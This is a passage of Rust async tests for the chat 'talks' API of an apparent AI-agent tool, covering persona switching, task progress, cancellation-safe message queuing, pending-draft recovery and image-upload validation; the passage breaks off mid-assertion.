14228            let talk = ui.talks.get(&id).unwrap();
14229            if arrived {
14230                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14231            }
14232            let mut settling = std::pin::pin!(settle_settings_turn(
14233                talk,
14234                ui.talks.clone(),
14235                cfg.clone(),
14236                id.clone(),
14237                turn,
14238                observed
14239            ));
14240            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14241            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14242            assert_eq!(first.is_pending(), arrived);
14243            if arrived {
14244                assert!(!settling.await);
14245            }
14246            assert!(!ui.is_thinking(&id));
14247        }
14248    }
14249
14250    #[tokio::test]
14251    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14252        let tmp = TempDir::new().expect("tempdir");
14253        let repo = tmp.path().join("repo");
14254        std::fs::create_dir_all(&repo).expect("repo dir");
14255        std::fs::write(
14256            repo.join("magi.toml"),
14257            format!(
14258                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14259            ),
14260        )
14261        .expect("write magi.toml");
14262        let home = TempDir::new().expect("temp home");
14263        let talks = Talks::at(home.path().join("talks"));
14264        let ui = Arc::new(
14265            Ui::new(
14266                Queue::at(home.path().join("queue")),
14267                Questions::at(home.path().join("questions")),
14268                talks.clone(),
14269                home.path().join("runs"),
14270                home.path().to_path_buf(),
14271                repo.clone(),
14272            )
14273            .with_worktrees_root(home.path().join("wt")),
14274        );
14275        let cfg = config_for(&repo).await.expect("discover config");
14276        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14277        let id = talk.id.clone();
14278        let call = |persona: &str| {
14279            talk_persona(
14280                State(Arc::clone(&ui)),
14281                Path(id.clone()),
14282                Json(TalkPersona {
14283                    persona: persona.to_owned(),
14284                }),
14285            )
14286        };
14287
14288        let unknown = call("nobody").await.expect_err("unknown persona");
14289        assert_eq!(
14290            unknown.status,
14291            StatusCode::BAD_REQUEST,
14292            "{}",
14293            unknown.message
14294        );
14295
14296        {
14297            // Nothing refused so far took a claim, so the guard is free to take
14298            // and holding it is what makes the talk busy.
14299            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14300            let busy = call("rei").await.expect_err("busy talk");
14301            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14302            assert!(
14303                busy.message.contains("a talk turn is running"),
14304                "{}",
14305                busy.message
14306            );
14307            drop(guard);
14308        }
14309        assert_eq!(talks.get(&id).expect("reload").persona, "");
14310
14311        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14312        assert_eq!(view.talk.persona, "gendo");
14313        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14314        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14315        // No intervening I/O or sleep may be needed before another change.
14316        for chosen in ["default", "gendo", "rei", "gendo"] {
14317            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14318            assert!(!view.thinking);
14319            assert!(!ui.is_thinking(&id));
14320        }
14321
14322        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14323            .await
14324            .expect("detail");
14325        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14326        assert_eq!(ids.first(), Some(&"default"));
14327        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14328
14329        let Json(view) = call("default").await.expect("back to default");
14330        assert_eq!(view.talk.persona, "");
14331
14332        let mut closed = talks.get(&id).expect("reload");
14333        talk::close(&mut closed, &talks).expect("close");
14334        let refused = call("rei").await.expect_err("closed talk");
14335        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14336        assert!(
14337            refused.message.contains("takes no more turns"),
14338            "{}",
14339            refused.message
14340        );
14341    }
14342
14343    #[tokio::test]
14344    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14345        let f = Fixture::start().await;
14346        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14347        let queue = f.queue();
14348        let mut mine = Task::new(
14349            "rename the loader".to_owned(),
14350            "rename the loader".to_owned(),
14351            PathBuf::from("/repo/magi"),
14352            Source::Agent {
14353                run: talk_id.clone(),
14354                node: "chat".to_owned(),
14355            },
14356        );
14357        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14358        assert_eq!(empty["task_progress"]["state"], "none");
14359        assert_eq!(empty["task_progress"]["total"], 0);
14360        queue.put(&mut mine).expect("file the task");
14361        let mut theirs = Task::new(
14362            "unrelated".to_owned(),
14363            "unrelated".to_owned(),
14364            PathBuf::from("/repo/magi"),
14365            Source::Human,
14366        );
14367        // A later task linked through origin_chat alone is outside this list.
14368        theirs.origin_chat = Some(talk_id.clone());
14369        queue.put(&mut theirs).expect("file the task");
14370
14371        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14372        assert_eq!(res.status, 200, "{}", res.body);
14373        let body = res.json();
14374        assert_eq!(
14375            body["status"], "open",
14376            "filing a task does not close a talk"
14377        );
14378        let tasks = body["tasks"].as_array().expect("tasks array");
14379        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14380        assert_eq!(tasks[0]["id"], mine.id);
14381        for status in [
14382            TaskStatus::Queued,
14383            TaskStatus::Running,
14384            TaskStatus::Held,
14385            TaskStatus::Failed,
14386            TaskStatus::Blocked,
14387            TaskStatus::Parked,
14388            TaskStatus::Done,
14389            TaskStatus::Queued,
14390        ] {
14391            mine.status = status;
14392            queue.put(&mut mine).expect("update status");
14393            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14394            let progress = &detail["task_progress"];
14395            assert_eq!(progress["total"], 1);
14396            assert_eq!(progress["counts"][status.as_str()], 1);
14397            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14398            assert_eq!(detail["status"], "open", "completion never closes the chat");
14399            if status == TaskStatus::Done {
14400                assert_eq!(progress["state"], "complete");
14401                assert_eq!(progress["done"], 1);
14402                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14403            } else {
14404                assert_eq!(progress["state"], "incomplete");
14405                assert_eq!(progress["done"], 0);
14406                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14407            }
14408        }
14409    }
14410
14411    #[test]
14412    fn talk_task_progress_counts_mixed_statuses() {
14413        let mut tasks: Vec<_> = [
14414            TaskStatus::Queued,
14415            TaskStatus::Running,
14416            TaskStatus::Held,
14417            TaskStatus::Failed,
14418            TaskStatus::Blocked,
14419            TaskStatus::Parked,
14420            TaskStatus::Done,
14421        ]
14422        .into_iter()
14423        .map(|status| {
14424            let mut task = Task::new(
14425                "task".into(),
14426                "task".into(),
14427                PathBuf::from("/repo"),
14428                Source::Human,
14429            );
14430            task.status = status;
14431            task
14432        })
14433        .collect();
14434        let progress = talk_task_progress(&tasks);
14435        assert_eq!(progress.state, "incomplete");
14436        assert_eq!(progress.total, 7);
14437        assert_eq!(progress.done, 1);
14438        assert_eq!(progress.unfinished_ids.len(), 6);
14439        assert!(progress.counts.values().all(|count| *count == 1));
14440        assert_eq!(
14441            progress.unfinished_ids,
14442            tasks[..6]
14443                .iter()
14444                .map(|task| task.id.clone())
14445                .collect::<Vec<_>>()
14446        );
14447
14448        for task in &mut tasks {
14449            task.status = TaskStatus::Done;
14450        }
14451        let complete = talk_task_progress(&tasks);
14452        assert_eq!(complete.state, "complete");
14453        assert_eq!(complete.done, 7);
14454        assert!(complete.unfinished_ids.is_empty());
14455        tasks[0].status = TaskStatus::Queued;
14456        let requeued = talk_task_progress(&tasks);
14457        assert_eq!(requeued.state, "incomplete");
14458        assert_eq!(requeued.done, 6);
14459        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14460
14461        let empty = talk_task_progress(&[]);
14462        assert_eq!(empty.state, "none");
14463        assert_eq!(empty.total, 0);
14464        assert_eq!(empty.done, 0);
14465        assert!(empty.unfinished_ids.is_empty());
14466        assert!(empty.counts.values().all(|count| *count == 0));
14467    }
14468
14469    #[tokio::test]
14470    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14471        let (_tmp, _repo, f) = talk_fixture().await;
14472        let id = f.post("/api/talks", None).await.json()["id"]
14473            .as_str()
14474            .expect("id")
14475            .to_owned();
14476
14477        let res = f
14478            .post(
14479                &format!("/api/talks/{id}/say"),
14480                Some(r#"{"text":"what does the queue module do?"}"#),
14481            )
14482            .await;
14483        assert_eq!(res.status, 202, "{}", res.body);
14484        let queued = res.json();
14485        let turns = queued["turns"].as_array().expect("turns array");
14486        assert_eq!(
14487            turns.len(),
14488            1,
14489            "the answer reflects only what is on disk the instant it is sent, \
14490             before the agent's turn - which can run for the whole of \
14491             `[graph] timeout_talk` - has a chance to land: {queued}"
14492        );
14493        assert_eq!(turns[0]["who"], "operator");
14494        assert_eq!(turns[0]["body"], "what does the queue module do?");
14495        assert_eq!(
14496            queued["thinking"], true,
14497            "the accepted response exposes the background turn claim: {queued}"
14498        );
14499
14500        let mut turns_after = 1;
14501        for _ in 0..SETTLE_STEPS {
14502            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14503            turns_after = detail["turns"].as_array().expect("turns array").len();
14504            if turns_after == 2 {
14505                break;
14506            }
14507            tokio::time::sleep(Duration::from_millis(10)).await;
14508        }
14509        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14510    }
14511
14512    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14513    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14514    /// guards against: `talk::record` used to return, and only *then* did the
14515    /// handler make a second, separate disk round trip before spawning the
14516    /// agent's reply task. A future dropped in that gap left a message
14517    /// recorded on disk with no reply task ever started and no way back short
14518    /// of a fresh message - and the gap was not even the whole story: *any*
14519    /// `.await` in this handler, including the very first one, is a point
14520    /// where a drop can land after the awaited work already finished but
14521    /// before this handler's own code resumes to act on it. `record` now
14522    /// runs inside the task `tokio::spawn` hands to the runtime before this
14523    /// handler ever awaits anything of its own again, so there is nothing
14524    /// left in *this* handler's future for a disconnect to interrupt between
14525    /// the message landing on disk and the reply task starting.
14526    ///
14527    /// A real socket disconnect cannot be relied on to land in the old gap
14528    /// from a test - over loopback, `talk_say` typically finishes before the
14529    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14530    /// same failure mode directly: it drops the task's future at whatever
14531    /// point it has reached, exactly what axum does to the handler future,
14532    /// without needing to win a real network race. Sweeping the delay before
14533    /// aborting samples a range of points the task's execution can be at,
14534    /// including where the old code sat waiting on its second disk round
14535    /// trip - confirmed by reverting this fix locally and watching this same
14536    /// sweep catch a talk stuck with the operator's turn recorded and no
14537    /// reply ever following.
14538    #[tokio::test]
14539    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14540        let tmp = TempDir::new().expect("tempdir");
14541        let repo = tmp.path().join("repo");
14542        std::fs::create_dir_all(&repo).expect("repo dir");
14543        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14544        let home = TempDir::new().expect("temp home");
14545        let talks = Talks::at(home.path().join("talks"));
14546        let ui = Arc::new(
14547            Ui::new(
14548                Queue::at(home.path().join("queue")),
14549                Questions::at(home.path().join("questions")),
14550                talks.clone(),
14551                home.path().join("runs"),
14552                home.path().to_path_buf(),
14553                repo.clone(),
14554            )
14555            .with_worktrees_root(home.path().join("wt")),
14556        );
14557        let cfg = config_for(&repo).await.expect("discover config");
14558
14559        for delay in 0..40u32 {
14560            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14561            let id = talk.id.clone();
14562
14563            let handler = tokio::spawn(talk_say(
14564                State(Arc::clone(&ui)),
14565                Path(id.clone()),
14566                Ok(Json(NewTalkTurn {
14567                    reply_to: None,
14568                    text: "what does the queue module do?".to_owned(),
14569                    attachments: Vec::new(),
14570                })),
14571            ));
14572            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14573            handler.abort();
14574            // Wait out the abort so the next iteration's talk does not race
14575            // this one's still-unwinding turn guard.
14576            let _ = handler.await;
14577
14578            let mut turns = 0;
14579            for _ in 0..SETTLE_STEPS {
14580                if let Ok(fresh) = talks.get(&id) {
14581                    turns = fresh.turns.len();
14582                    if turns != 1 {
14583                        break;
14584                    }
14585                }
14586                tokio::time::sleep(Duration::from_millis(10)).await;
14587            }
14588            assert_ne!(
14589                turns, 1,
14590                "delay {delay}: talk {id} recorded the operator's turn but \
14591                 the agent never answered - the reply task was never \
14592                 started after the handler future was dropped"
14593            );
14594        }
14595    }
14596
14597    /// The same drop, landing on `talk_say`'s other durable write.
14598    ///
14599    /// When a turn is already running, the busy branch persists the
14600    /// operator's text as a queued draft and then reclaims the turn slot if
14601    /// the holder gave it up in the meantime - and whoever reclaims owes that
14602    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14603    /// which finishes whether or not the future awaiting it is still there,
14604    /// so a handler dropped at that `.await` used to leave the draft written
14605    /// to disk with the reclaimed guard dropped unread and no drainer ever
14606    /// started: the message sat queued until some unrelated later `say`
14607    /// happened to pick it up.
14608    ///
14609    /// This used to drive the handler future by hand, polling it a fixed
14610    /// number of times to park it at the `.await` where it asks for the turn
14611    /// and finds it busy, before the reclaim's slot-free case could be set up
14612    /// underneath it. That assumed a fixed number of polls lands at a fixed
14613    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14614    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14615    /// poll, so any number of this handler's several `blocking` awaits can
14616    /// collapse into one poll under load, landing the drive somewhere other
14617    /// than intended - including, occasionally, straight past the handler's
14618    /// own completion, which made polling it again panic with "async fn
14619    /// resumed after completion". No poll count fixes that; the handler's
14620    /// progress simply is not something a caller outside it can observe by
14621    /// counting.
14622    ///
14623    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14624    /// inside the write itself, so the interleaving under test is pinned by
14625    /// an event instead of a guess: the gate fires only once the handler has
14626    /// actually decided `Busy` and is about to persist the draft, and it
14627    /// blocks that write until the test lets it through. Between those two
14628    /// moments the test drains the turn the handler found busy - through
14629    /// `drain_loop`, the protocol's other half - and then aborts the handler
14630    /// task outright, the same way axum drops a disconnected request's
14631    /// future. The write, and the reclaim it may do, run to completion
14632    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14633    /// to the runtime before ever touching the gate, wholly independent of
14634    /// whether the handler that started it is still around - which is what
14635    /// this test is actually checking. A drainer other than that reclaim
14636    /// cannot exist here: the test's own `drain_loop` call happens before the
14637    /// gate opens, so it runs while the queue is still empty and hands the
14638    /// turn straight back rather than draining anything, closing off the
14639    /// possibility of the final assertion passing without the reclaim ever
14640    /// having done its job.
14641    #[tokio::test]
14642    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14643        let tmp = TempDir::new().expect("tempdir");
14644        let repo = tmp.path().join("repo");
14645        std::fs::create_dir_all(&repo).expect("repo dir");
14646        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14647        let home = TempDir::new().expect("temp home");
14648        let talks = Talks::at(home.path().join("talks"));
14649        let ui = Arc::new(
14650            Ui::new(
14651                Queue::at(home.path().join("queue")),
14652                Questions::at(home.path().join("questions")),
14653                talks.clone(),
14654                home.path().join("runs"),
14655                home.path().to_path_buf(),
14656                repo.clone(),
14657            )
14658            .with_worktrees_root(home.path().join("wt")),
14659        );
14660        let cfg = config_for(&repo).await.expect("discover config");
14661
14662        for attempt in 0..3u32 {
14663            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14664            let id = talk.id.clone();
14665            // A turn is already running, which is what sends `talk_say` down
14666            // the busy branch.
14667            let turn_guard = ui
14668                .begin_talk_turn(&id)
14669                .expect("claim the turn")
14670                .expect("a fresh talk owes nobody a turn");
14671
14672            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14673            let (release_tx, release_rx) = std::sync::mpsc::channel();
14674            ui.set_busy_queue_gate(BusyQueueGate {
14675                reached: reached_tx,
14676                release: release_rx,
14677            });
14678
14679            let handler = tokio::spawn(talk_say(
14680                State(Arc::clone(&ui)),
14681                Path(id.clone()),
14682                Ok(Json(NewTalkTurn {
14683                    reply_to: None,
14684                    text: "what does the queue module do?".to_owned(),
14685                    attachments: Vec::new(),
14686                })),
14687            ));
14688
14689            // Wait for the busy branch to actually reach the gate, rather
14690            // than for any fixed number of polls of anything - a bounded
14691            // wait rather than a bare `.await` so a regression that never
14692            // reaches the gate fails the test instead of hanging it.
14693            tokio::time::timeout(Duration::from_secs(5), reached_rx)
14694                .await
14695                .unwrap_or_else(|_| {
14696                    panic!(
14697                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14698                    )
14699                })
14700                .expect("the busy branch dropped the gate without using it");
14701            assert!(
14702                crate::consult::try_publication_guard(&talks, &id)
14703                    .expect("publication fence")
14704                    .is_none(),
14705                "a queued worker cannot promote text before its successor reservation is published"
14706            );
14707
14708            // A listener replacement queues its writer behind this accepted
14709            // mutation. Even disconnecting the HTTP caller must not release
14710            // admission before the write-to-worker handoff has completed.
14711            let closing = Arc::clone(&ui.admissions).write_owned();
14712            tokio::pin!(closing);
14713            std::future::poll_fn(|cx| {
14714                assert!(closing.as_mut().poll(cx).is_pending());
14715                std::task::Poll::Ready(())
14716            })
14717            .await;
14718            assert!(
14719                ui.begin_admission().is_err(),
14720                "replacement blocks later admissions"
14721            );
14722
14723            // The turn that was running now finishes and gives the slot up
14724            // the way a real one does - through `drain_loop`, which finds
14725            // nothing queued yet (the write is still held at the gate) and
14726            // releases. The handler, parked inside `spawn_blocking` on the
14727            // other side of the gate, still believes the talk is busy -
14728            // exactly the interleaving the reclaim exists for.
14729            let running = talks.get(&id).expect("reload talk");
14730            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14731
14732            // Drop the handler future now, the way a reloading phone drops
14733            // it: suspended waiting on the busy branch's answer, having
14734            // itself made no more progress since it handed the write off.
14735            handler.abort();
14736            let _ = handler.await;
14737            std::future::poll_fn(|cx| {
14738                assert!(
14739                    closing.as_mut().poll(cx).is_pending(),
14740                    "HTTP cancellation must not abandon a publishing transaction"
14741                );
14742                std::task::Poll::Ready(())
14743            })
14744            .await;
14745            assert!(
14746                crate::consult::try_publication_guard(&talks, &id)
14747                    .expect("publication fence after disconnect")
14748                    .is_none()
14749            );
14750
14751            // Only now let the gated write proceed. It persists the draft
14752            // and reclaims the now-free slot from inside the task the busy
14753            // branch already spawned - unaffected by the handler's abort
14754            // above, since that task was independent of the handler's own
14755            // future from the moment it was spawned.
14756            let _ = release_tx.send(());
14757            drop(
14758                tokio::time::timeout(Duration::from_secs(5), closing)
14759                    .await
14760                    .expect("short admission transaction should release for replacement"),
14761            );
14762            assert!(
14763                crate::consult::try_publication_guard(&talks, &id)
14764                    .expect("publication fence after acknowledgement")
14765                    .is_some(),
14766                "the publication fence is not retained by the long response"
14767            );
14768
14769            // A settled talk: the draft drained into an operator turn and
14770            // answered.
14771            let mut fresh = talks.get(&id).expect("reload talk");
14772            for _ in 0..SETTLE_STEPS {
14773                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14774                    break;
14775                }
14776                tokio::time::sleep(Duration::from_millis(10)).await;
14777                fresh = talks.get(&id).expect("reload talk");
14778            }
14779            assert!(
14780                fresh.pending.is_empty() && fresh.turns.len() == 2,
14781                "attempt {attempt}: talk {id} left the operator's text queued \
14782                 with no drainer - the reclaimed turn was dropped along with \
14783                 the handler future (pending {:?}, {} turns)",
14784                fresh.pending,
14785                fresh.turns.len()
14786            );
14787        }
14788    }
14789
14790    #[tokio::test]
14791    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14792        let (_tmp, _repo, f) = talk_fixture().await;
14793        let id = f.post("/api/talks", None).await.json()["id"]
14794            .as_str()
14795            .expect("id")
14796            .to_owned();
14797        let store = f.talks();
14798        let mut recovered = store.get(&id).expect("opened talk");
14799        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14800            .expect("persist pending draft without a live turn");
14801
14802        let edited = f
14803            .post(
14804                &format!("/api/talks/{id}/pending/edit"),
14805                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14806            )
14807            .await;
14808        assert_eq!(edited.status, 200, "{}", edited.body);
14809        assert!(edited.json()["thinking"].as_bool().unwrap());
14810
14811        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14812        for _ in 0..SETTLE_STEPS {
14813            if detail["turns"].as_array().expect("turns").len() == 2 {
14814                break;
14815            }
14816            tokio::time::sleep(Duration::from_millis(10)).await;
14817            detail = f.get(&format!("/api/talks/{id}")).await.json();
14818        }
14819        let turns = detail["turns"].as_array().expect("turns");
14820        assert_eq!(
14821            turns.len(),
14822            2,
14823            "the recovered draft must run once: {detail}"
14824        );
14825        assert_eq!(turns[0]["body"], "corrected");
14826        assert_eq!(detail["pending"], "");
14827    }
14828
14829    #[tokio::test]
14830    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14831        let tmp = TempDir::new().expect("tempdir");
14832        let repo = tmp.path().join("repo");
14833        std::fs::create_dir_all(&repo).expect("repo dir");
14834        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14835        let f = Fixture::with_repo(repo).await;
14836        let id = f.post("/api/talks", None).await.json()["id"]
14837            .as_str()
14838            .expect("id")
14839            .to_owned();
14840        let store = f.talks();
14841        let mut recovered = store.get(&id).expect("opened talk");
14842        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14843            .expect("persist pending draft without a live turn");
14844
14845        let refused = f
14846            .post(
14847                &format!("/api/talks/{id}/say"),
14848                Some(r#"{"text":"new message"}"#),
14849            )
14850            .await;
14851        assert_eq!(refused.status, 409, "{}", refused.body);
14852        assert!(refused.body.contains("resume"), "{}", refused.body);
14853        let saved = store.get(&id).expect("draft remains after refusal");
14854        assert!(saved.turns.is_empty());
14855        assert_eq!(saved.pending, "saved before restart");
14856
14857        let say_path = format!("/api/talks/{id}/say");
14858        let (first, second) = tokio::join!(
14859            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14860            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14861        );
14862        assert_eq!(first.status, 409, "{}", first.body);
14863        assert_eq!(second.status, 409, "{}", second.body);
14864        let saved = store
14865            .get(&id)
14866            .expect("draft remains after concurrent refusals");
14867        assert!(saved.turns.is_empty());
14868        assert_eq!(saved.pending, "saved before restart");
14869
14870        let resumed = f
14871            .post(&format!("/api/talks/{id}/pending/resume"), None)
14872            .await;
14873        assert_eq!(resumed.status, 202, "{}", resumed.body);
14874        let duplicate = f
14875            .post(&format!("/api/talks/{id}/pending/resume"), None)
14876            .await;
14877        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14878
14879        for _ in 0..SETTLE_STEPS {
14880            if store.get(&id).expect("talk").turns.len() == 2 {
14881                break;
14882            }
14883            tokio::time::sleep(Duration::from_millis(10)).await;
14884        }
14885        let finished = store.get(&id).expect("finished talk");
14886        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14887        assert_eq!(finished.turns[0].body, "saved before restart");
14888        assert!(finished.pending.is_empty());
14889    }
14890
14891    #[tokio::test]
14892    async fn an_image_only_recovered_draft_resumes_without_text() {
14893        let (_tmp, _repo, f) = talk_fixture().await;
14894        let id = f.post("/api/talks", None).await.json()["id"]
14895            .as_str()
14896            .expect("id")
14897            .to_owned();
14898        let uploaded = f
14899            .post_bytes(
14900                &format!("/api/talks/{id}/attachments"),
14901                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14902                PNG_BYTES,
14903            )
14904            .await;
14905        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14906        let attachment = f
14907            .talks()
14908            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14909            .expect("attachment metadata")
14910            .expect("stored attachment");
14911        let store = f.talks();
14912        let mut recovered = store.get(&id).expect("opened talk");
14913        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14914
14915        let resumed = f
14916            .post(&format!("/api/talks/{id}/pending/resume"), None)
14917            .await;
14918        assert_eq!(resumed.status, 202, "{}", resumed.body);
14919        for _ in 0..SETTLE_STEPS {
14920            if store.get(&id).expect("talk").turns.len() == 2 {
14921                break;
14922            }
14923            tokio::time::sleep(Duration::from_millis(10)).await;
14924        }
14925        let finished = store.get(&id).expect("finished talk");
14926        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14927        assert!(finished.turns[0].body.is_empty());
14928        assert_eq!(finished.turns[0].attachments.len(), 1);
14929        assert!(finished.pending_attachments.is_empty());
14930    }
14931
14932    #[tokio::test]
14933    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14934        let (_tmp, _repo, f) = talk_fixture().await;
14935        let id = f.post("/api/talks", None).await.json()["id"]
14936            .as_str()
14937            .expect("id")
14938            .to_owned();
14939        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14940        assert_eq!(closed.status, 200, "{}", closed.body);
14941        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14942            .expect("serialize closed talk");
14943        for (path, body) in [
14944            (format!("/api/talks/{id}/pending/resume"), None),
14945            (
14946                format!("/api/talks/{id}/pending/clear"),
14947                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14948            ),
14949            (
14950                format!("/api/talks/{id}/pending/edit"),
14951                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14952            ),
14953            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14954        ] {
14955            let response = f.post(&path, body).await;
14956            assert_eq!(response.status, 409, "{}", response.body);
14957        }
14958        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14959            .expect("serialize closed talk");
14960        assert_eq!(
14961            after_clear, before_clear,
14962            "clear must not rewrite a closed talk"
14963        );
14964    }
14965
14966    /// Keeps both claims observable long enough to exercise the distinction
14967    /// between one busy talk and a globally locked Chat surface.
14968    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14969
14970    #[tokio::test]
14971    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14972        let tmp = TempDir::new().expect("tempdir");
14973        let repo = tmp.path().join("repo");
14974        std::fs::create_dir_all(&repo).expect("repo dir");
14975        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14976        let f = Fixture::with_repo(repo).await;
14977        let id_a = f.post("/api/talks", None).await.json()["id"]
14978            .as_str()
14979            .unwrap()
14980            .to_owned();
14981        let id_b = f.post("/api/talks", None).await.json()["id"]
14982            .as_str()
14983            .unwrap()
14984            .to_owned();
14985
14986        let a = f
14987            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14988            .await;
14989        assert_eq!(a.status, 202, "{}", a.body);
14990        assert_eq!(a.json()["thinking"], true);
14991        let b = f
14992            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14993            .await;
14994        assert_eq!(b.status, 202, "{}", b.body);
14995        assert_eq!(b.json()["thinking"], true);
14996
14997        let listed = f.get("/api/talks").await.json();
14998        for id in [&id_a, &id_b] {
14999            let view = listed
15000                .as_array()
15001                .unwrap()
15002                .iter()
15003                .find(|talk| talk["id"] == *id)
15004                .unwrap();
15005            assert_eq!(view["thinking"], true, "{listed}");
15006        }
15007        let repeated = f
15008            .post(
15009                &format!("/api/talks/{id_a}/say"),
15010                Some(r#"{"text":"again"}"#),
15011            )
15012            .await;
15013        assert_eq!(repeated.status, 202, "{}", repeated.body);
15014        assert_eq!(repeated.json()["pending"], "again");
15015    }
15016
15017    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15018    /// few more, since real uploads are never exactly eight bytes.
15019    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15020
15021    #[tokio::test]
15022    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15023        let f = Fixture::start().await;
15024        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15025
15026        let res = f
15027            .post_bytes(
15028                &format!("/api/talks/{id}/attachments"),
15029                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15030                PNG_BYTES,
15031            )
15032            .await;
15033        assert_eq!(res.status, 201, "{}", res.body);
15034        let body = res.json();
15035        assert_eq!(body["name"], "shot.png");
15036        assert_eq!(body["mime"], "image/png");
15037        assert_eq!(body["bytes"], PNG_BYTES.len());
15038        let att_id = body["id"].as_str().expect("id").to_owned();
15039        assert_eq!(
15040            att_id.len(),
15041            32,
15042            "the id must never be a client-suppliable path: {att_id}"
15043        );
15044
15045        let got = f
15046            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15047            .await;
15048        assert_eq!(got.status, 200, "{}", got.body);
15049        assert_eq!(got.header("content-type"), Some("image/png"));
15050        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15051        assert_eq!(got.bytes, PNG_BYTES);
15052    }
15053
15054    #[tokio::test]
15055    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15056        let f = Fixture::start().await;
15057        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15058
15059        // SVG can carry a `<script>`, so it is never on the whitelist even
15060        // though it is a real IANA image type.
15061        let svg = f
15062            .post_bytes(
15063                &format!("/api/talks/{id}/attachments"),
15064                &[("Content-Type", "image/svg+xml")],
15065                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15066            )
15067            .await;
15068        assert!(
